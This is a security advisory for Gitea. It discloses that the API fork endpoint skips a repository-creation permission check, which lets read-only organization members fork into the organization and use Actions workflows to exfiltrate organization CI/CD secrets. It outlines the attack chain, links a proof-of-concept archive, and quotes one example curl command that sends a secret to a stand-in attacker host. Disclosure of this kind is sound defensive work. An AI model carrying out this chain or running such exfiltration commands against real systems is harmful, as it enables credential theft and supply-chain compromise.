GHSA-fhx7-m96w-mv29 Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration
SummaryThe API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with `can_create_org_repo=false` — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.Steps To Reproduce1. Environment setupStart a Gitea instance with Actions enabled:2. Create the target environment (as admin)3. Register an Actions runner4. Verify attacker CANNOT create repos in the org (expected: 403)5. Exploit: Fork into the org via API (THE BYPASS)The attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`.6. Enable Actions and push exfiltration workflow7. Verify secret exfiltrationExpected output in the workflow logs:All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., `curl -d "$SECRET" https://attacker.example.com/collect`).ImpactA read-only organization member — with no repository creation rights (`can_create_org_repo=false`) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the `CanCreateOrgRepo` permission, but the API does not, creating a classic API-vs-web authorization inconsistency.The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the `CanCreateOrgRepo` check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on `repository.owner_id`), and org secrets are injected into the workflow environment (fetched by `Repo.OwnerID`); (5) the workflow exfiltrates all org secrets.Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.Supporting Material/References**poc-fork-authz-bypass.zip** — ZIP archive containing the full exploit script and READMEVulnerable code — API fork handler (missing `CanCreateOrgRepo` check):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144Correct code — Web fork handler (has `CanCreateOrgRepo` check):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189Runner task assignment (matches on `owner_id`):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248Secret injection (fetches by `Repo.OwnerID`):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167Fork creator gets admin permissions:
https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerabilityOWASP API Security Top 10 2023: API5 — Broken Function Level AuthorizationOWASP Top 10 2021: A01 — Broken Access Control[poc-fork-authz-bypass.zip](https://github.com/user-attachments/files/26129318/poc-fork-authz-bypass.zip)
CVSS v3.1 score: 8.1